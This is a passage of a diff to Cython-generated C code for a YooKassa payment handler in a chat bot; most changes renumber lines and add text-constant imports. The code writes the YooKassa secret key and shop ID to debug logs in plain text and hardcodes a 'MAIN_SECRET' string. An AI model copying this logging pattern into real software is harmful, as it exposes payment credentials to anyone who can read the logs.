__pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_payments_gift, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 40, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_HASH, __pyx_t_3) < 0) __PYX_ERR(0, 40, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_HASH, __pyx_t_3) < 0) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 41, __pyx_L1_error) + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_send_payment_success_notificatio); __Pyx_GIVEREF(__pyx_n_s_send_payment_success_notificatio); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_send_payment_success_notificatio)) __PYX_ERR(0, 41, __pyx_L1_error); - __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_payments_utils, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 41, __pyx_L1_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_send_payment_success_notificatio)) __PYX_ERR(0, 33, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_payments_utils, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 41, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_2) < 0) __PYX_ERR(0, 41, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_2) < 0) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 42, __pyx_L1_error) + __pyx_t_3 = PyList_New(4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); __Pyx_GIVEREF(__pyx_n_s_PAYMENT_OPTIONS); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_PAYMENT_OPTIONS)) __PYX_ERR(0, 42, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_PAYMENT_OPTIONS)) __PYX_ERR(0, 34, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_AMOUNT_TEXT); __Pyx_GIVEREF(__pyx_n_s_AMOUNT_TEXT); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_AMOUNT_TEXT)) __PYX_ERR(0, 42, __pyx_L1_error); - __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_AMOUNT_TEXT)) __PYX_ERR(0, 34, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); + __Pyx_GIVEREF(__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE)) __PYX_ERR(0, 34, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_ENTER_SUM); + __Pyx_GIVEREF(__pyx_n_s_ENTER_SUM); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 3, __pyx_n_s_ENTER_SUM)) __PYX_ERR(0, 34, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 42, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAYMENT_OPTIONS, __pyx_t_3) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAYMENT_OPTIONS, __pyx_t_3) < 0) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_AMOUNT_TEXT); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 42, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_AMOUNT_TEXT); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_AMOUNT_TEXT, __pyx_t_3) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_AMOUNT_TEXT, __pyx_t_3) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE, __pyx_t_3) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_ENTER_SUM); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ENTER_SUM, __pyx_t_3) < 0) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_logger); __Pyx_GIVEREF(__pyx_n_s_logger); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_logger)) __PYX_ERR(0, 43, __pyx_L1_error); - __pyx_t_3 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 43, __pyx_L1_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_logger)) __PYX_ERR(0, 35, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_2) < 0) __PYX_ERR(0, 43, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_2) < 0) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 44, __pyx_L1_error) + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_edit_or_send_message); __Pyx_GIVEREF(__pyx_n_s_edit_or_send_message); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_edit_or_send_message)) __PYX_ERR(0, 44, __pyx_L1_error); - __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_utils, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 44, __pyx_L1_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_edit_or_send_message)) __PYX_ERR(0, 36, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_utils, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 44, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_edit_or_send_message, __pyx_t_3) < 0) __PYX_ERR(0, 44, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_edit_or_send_message, __pyx_t_3) < 0) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_3) < 0) __PYX_ERR(0, 46, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_3) < 0) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_d, __pyx_n_s_MAIN_SECRET, __pyx_kp_u_PROJECT_06_01_09_LICENSION) < 0) __PYX_ERR(0, 49, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_MAIN_SECRET, __pyx_kp_u_PROJECT_06_01_09_LICENSION) < 0) __PYX_ERR(0, 41, __pyx_L1_error) - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_YOOKASSA_ENABLE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_YOOKASSA_ENABLE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 51, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_4) { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_YOOKASSA_SHOP_ID); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_YOOKASSA_SHOP_ID); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Configuration); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Configuration); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (__Pyx_PyObject_SetAttrStr(__pyx_t_2, __pyx_n_s_account_id, __pyx_t_3) < 0) __PYX_ERR(0, 52, __pyx_L1_error) + if (__Pyx_PyObject_SetAttrStr(__pyx_t_2, __pyx_n_s_account_id, __pyx_t_3) < 0) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_YOOKASSA_SECRET_KEY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_YOOKASSA_SECRET_KEY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Configuration); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Configuration); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (__Pyx_PyObject_SetAttrStr(__pyx_t_3, __pyx_n_s_secret_key, __pyx_t_2) < 0) __PYX_ERR(0, 53, __pyx_L1_error) + if (__Pyx_PyObject_SetAttrStr(__pyx_t_3, __pyx_n_s_secret_key, __pyx_t_2) < 0) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_debug); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_debug); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_YOOKASSA_SHOP_ID); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_YOOKASSA_SHOP_ID); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 54, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Account_ID, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Account_ID, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 54, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_YOOKASSA_SECRET_KEY); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_YOOKASSA_SECRET_KEY); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Secret_Key, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Secret_Key, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; @@ -12692,25 +12688,25 @@ if (!__Pyx_RefNanny) { } - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 58, __pyx_L1_error) + __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_2); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_2)) __PYX_ERR(0, 58, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_2)) __PYX_ERR(0, 50, __pyx_L1_error); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PEP560_update_bases(__pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 58, __pyx_L1_error) + __pyx_t_2 = __Pyx_PEP560_update_bases(__pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_CalculateMetaclass(NULL, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 58, __pyx_L1_error) + __pyx_t_3 = __Pyx_CalculateMetaclass(NULL, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_6 = __Pyx_Py3MetaclassPrepare(__pyx_t_3, __pyx_t_2, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_yookassa_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 58, __pyx_L1_error) + __pyx_t_6 = __Pyx_Py3MetaclassPrepare(__pyx_t_3, __pyx_t_2, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_yookassa_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_2 != __pyx_t_5) { - if (unlikely((PyDict_SetItemString(__pyx_t_6, "__orig_bases__", __pyx_t_5) < 0))) __PYX_ERR(0, 58, __pyx_L1_error) + if (unlikely((PyDict_SetItemString(__pyx_t_6, "__orig_bases__", __pyx_t_5) < 0))) __PYX_ERR(0, 50, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = NULL; __pyx_t_9 = 0; @@ -12730,14 +12726,14 @@ if (!__Pyx_RefNanny) { PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 59, __pyx_L1_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } - if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_choosing_amount_yookassa, __pyx_t_5) < 0) __PYX_ERR(0, 59, __pyx_L1_error) + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_choosing_amount_yookassa, __pyx_t_5) < 0) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = NULL; __pyx_t_9 = 0; @@ -12757,14 +12753,14 @@ if (!__Pyx_RefNanny) { PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 60, __pyx_L1_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } - if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_5) < 0) __PYX_ERR(0, 60, __pyx_L1_error) + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_5) < 0) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = NULL; __pyx_t_9 = 0; @@ -12784,168 +12780,168 @@ if (!__Pyx_RefNanny) { PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 61, __pyx_L1_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } - if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_entering_custom_amount_yookassa, __pyx_t_5) < 0) __PYX_ERR(0, 61, __pyx_L1_error) + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_entering_custom_amount_yookassa, __pyx_t_5) < 0) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_Py3ClassCreate(__pyx_t_3, __pyx_n_s_ReplenishBalanceState, __pyx_t_2, __pyx_t_6, NULL, 0, 